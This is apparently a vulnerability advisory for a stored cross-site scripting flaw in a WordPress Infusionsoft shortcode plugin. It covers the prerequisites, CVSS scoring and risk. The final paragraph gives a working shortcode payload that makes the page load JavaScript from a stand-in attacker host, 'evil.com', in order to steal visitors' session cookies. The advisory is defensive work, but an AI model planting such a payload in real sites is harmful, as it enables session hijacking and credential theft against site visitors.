Surbma Infusionsoft Shortcode CVE-2026-11597

Exploitation requires an authenticated WordPress account with contributor role or higher (Contributor, Author, Editor, or Administrator). The attacker must have the ability to create or edit posts that render the [infusionsoft-form] shortcode, and the Surbma | Infusionsoft Shortcode plugin must be installed and activated on the target site running version 2.0.1 or earlier. Exploitation is limited by the contributor-access prerequisite: sites where all contributors are fully trusted, or where the plugin is not used in contributor-editable content areas, face substantially lower real-world risk. The stored payload executes in any visitor's browser upon page load - no special victim configuration is required.

The CVSS 3.1 base score of 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) reflects network exploitability with low complexity and scope change. However, the UI:N metric in the provided vector is questionable for stored XSS: a victim must actively visit the injected page for the payload to execute, which typically warrants UI:R. This discrepancy should be verified against the scorer's methodology. The requirement for contributor-level (PR:L) authentication is the primary real-world risk limiter - this is not an unauthenticated attack surface. EPSS data was not provided; without it, exploitation probability cannot be quantified. No CISA KEV entry exists, and no public exploit or POC has been identified, further moderating urgency. The scope change (S:C) is legitimate: successful exploitation targets visitors' browsers, enabling session hijacking, credential phishing, or defacement against any user viewing affected posts. For sites where multiple contributors are trusted, this represents a meaningful privilege-escalation-to-persistent-XSS vector, but the contributor-access prerequisite substantially narrows the realistic attacker population compared to unauthenticated vulnerabilities.

An attacker with contributor-level WordPress credentials creates or edits a post or page and inserts the [infusionsoft-form account='evil.com/payload.js?x=' id='1'] shortcode, causing the plugin to render a <script src='https://evil.com/payload.js?x=1'></script> tag in the page HTML. When any site visitor - including administrators - loads that page, their browser fetches and executes the attacker's JavaScript, enabling session cookie theft, credential harvesting via injected login forms, or further exploitation. No public POC has been identified at time of analysis.